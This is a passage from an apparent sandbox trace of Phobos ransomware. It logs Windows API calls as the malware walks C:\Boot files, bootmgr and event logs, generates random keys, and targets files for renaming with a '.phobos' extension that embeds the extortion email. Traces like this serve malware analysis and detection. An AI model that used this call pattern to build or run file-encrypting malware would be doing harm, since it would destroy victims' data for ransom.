dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.808] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=156245) returned 1 [0147.808] CloseHandle (hObject=0x554) returned 1 [0147.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0147.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.809] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.809] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.809] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.810] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=44859) returned 1 [0147.810] CloseHandle (hObject=0x554) returned 1 [0147.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0147.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.810] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.810] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.810] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.811] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=85862) returned 1 [0147.811] CloseHandle (hObject=0x554) returned 1 [0147.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0147.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.811] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.811] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.812] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.812] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=86178) returned 1 [0147.812] CloseHandle (hObject=0x554) returned 1 [0147.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0147.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.812] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.813] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.813] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.814] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=49091) returned 1 [0147.814] CloseHandle (hObject=0x554) returned 1 [0147.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0147.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.814] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.814] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.814] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.815] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=79200) returned 1 [0147.815] CloseHandle (hObject=0x554) returned 1 [0147.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0147.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.815] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.815] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.815] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.815] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=79192) returned 1 [0147.816] CloseHandle (hObject=0x554) returned 1 [0147.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0147.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.816] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.816] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.816] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.816] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45984) returned 1 [0147.816] CloseHandle (hObject=0x554) returned 1 [0147.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0147.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.817] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.817] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.817] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.817] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=76640) returned 1 [0147.817] CloseHandle (hObject=0x554) returned 1 [0147.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0147.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.818] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.818] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.818] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.818] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=78688) returned 1 [0147.818] CloseHandle (hObject=0x554) returned 1 [0147.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0147.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.819] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.819] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.819] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.819] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45976) returned 1 [0147.819] CloseHandle (hObject=0x554) returned 1 [0147.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0147.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.820] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.820] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.820] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.820] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=77144) returned 1 [0147.820] CloseHandle (hObject=0x554) returned 1 [0147.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0147.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.821] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.821] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.821] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.822] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=45472) returned 1 [0147.822] CloseHandle (hObject=0x554) returned 1 [0147.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0147.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.822] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.822] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.822] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.823] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=67424) returned 1 [0147.823] CloseHandle (hObject=0x554) returned 1 [0147.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0147.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.824] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.824] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.824] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.824] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=42904) returned 1 [0147.824] CloseHandle (hObject=0x554) returned 1 [0147.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0147.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.825] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.825] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.825] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.825] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=66912) returned 1 [0147.825] CloseHandle (hObject=0x554) returned 1 [0147.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0147.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.825] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.826] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.826] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0147.826] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=42912) returned 1 [0147.826] CloseHandle (hObject=0x554) returned 1 [0147.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0147.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.941] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.941] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0147.941] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0148.166] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=395226) returned 1 [0148.166] CloseHandle (hObject=0x574) returned 1 [0148.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0148.166] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0148.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\bootmgr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.169] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.169] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0148.169] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.169] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.169] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.169] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0148.176] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1052672) returned 1 [0148.176] CloseHandle (hObject=0x574) returned 1 [0148.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0148.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0148.179] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.179] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 